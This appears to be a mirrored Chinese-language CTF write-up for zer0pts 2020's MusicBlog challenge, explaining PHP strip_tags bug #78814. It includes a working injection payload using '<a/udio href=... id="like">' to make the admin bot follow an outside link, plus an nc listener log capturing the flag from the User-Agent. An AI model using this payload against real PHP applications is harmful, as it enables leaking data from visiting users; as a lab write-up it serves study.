20

MusicBlog -- zer0pts CTF 2020

 4 years ago
source link: https://darkwing.moe/2020/03/10/MusicBlog-zer0pts-CTF-2020/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

You can introduce favorite songs to friends with MusicBlog !

Challenge (URL)

题目文件: MusicBlog_637545797ab8638bffd877d7be2ec045.tar.gz

是一个Blog。在发布文章时可以选择是否公开,如果设置为公开,admin用户会自动访问该文章并点赞。写文章时可以使用 [[URL]] 语法,将其插入到句子中会展开成 <audio controls src="URL"></audio> 这样的audio元素。

首先,确认flag在哪。搜索 zer0pts{ ,能够发现flag在 worker/worker.js 中,这是admin自动访问代码的一部分。

// (snipped)

const flag = 'zer0pts{<censored>}';

// (snipped)

const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
        await page.setUserAgent(flag);
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 10 * 1000,
        });
        await page.click('#like');
    } catch (err){
        console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
};

// (snipped)

await page.setUserAgent(flag); ,会将User-Agent设置为flag。那么首先,考虑找到一个使用 [[URL]] 进行外部请求的方法,但是 Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-yuAhic5Y6HSsT0e5zC8Qlg==' 'strict-dynamic'; base-uri 'none'; trusted-types ,严格的CSP策略会禁止这样。

但是,admin会进行 await page.click('#like'); ,如果能够将一个可控元素的id设置为like,就可以利用admin的click,考虑通过XSS将admin重定向访问到外部。

查看文章的单独页面post.php, 能够发现这里将文章内容作为参数,经过 render_tags 后返回值显示在页面上。

︙
          <div class="mt-3">
            <?= render_tags($post['content']) ?>
          </div>
︙

render_tagsutils.php 中定义:

<?php
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
  $str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
  $str = strip_tags($str, '<audio>'); // only allows `<audio>`
  return $str;
}
︙

[[URL]] 替换为 <audio controls src="URL"></audio> 之后,通过 strip_tagsaudio 之外的标签消除来防止XSS。那如果使用 [["></audio><script>alert(1)</script>]] 作为URL,经过这种处理之后就变成了 <audio controls src=""></audio>alert(1)"></audio> , <script></script> 都被删除了,做不了什么。

看一下Web server的Dockerfile,可以看到使用的是PHP 7.4.0, 截至2020年3月7日,最新版本为PHP 7.4.3,看起来稍微有点老,因此可以看一下PHP 7.4.0之后的 PHP 7.4.1的ChangeLog

Standard:

  • Fixed bug #78814 (strip_tags allows / in tag name => whitelist bypass).

可以看到修复了 strip_tags 的一个bug,详细说明见 https://bugs.php.net/bug.php?id=78814

Bug #78814 strip_tags allows / in tag name, allowing whitelist bypass in browsers

When strip_tags is used with a whitelist of tags, php allows slashes (“/”) that occur inside the name of a whitelisted tag and copies them to the result.

For example, if is whitelisted, then a tag is also kept.

Test script:
---------------
<?php

echo strip_tags("<s/trong>b</strong>", "<strong>");

Expected result:
----------------
b

Actual result:
--------------
<s/trong>b</strong>

<strong> 作为白名单时,添加斜杠的 <s/trong> 没有被删除,原样输出。MusicBlog 中使用的是 <audio> 作为白名单, <a/udio> 可以通过函数处理,并且 <a/udio> 会作为 超链接 <a> 被解析。

因此,利用这个bug,使用 [["></audio><a/udio href="(URL)" id="like">test</a/udio><audio a="]] 这样的内容的话,经过处理在文章中展开后是

<audio controls src=""></audio><a/udio href="(URL)" id="like">test</a/udio><audio a=""></audio>

这样admin自动去点击id为like的标签的话,会点击到我们可控的外部链接。

$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 33926 received!
GET / HTTP/1.1
︙
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: zer0pts{M4sh1m4fr3sh!!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
︙
Accept-Encoding: gzip, deflate
Accept-Language: en-US

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK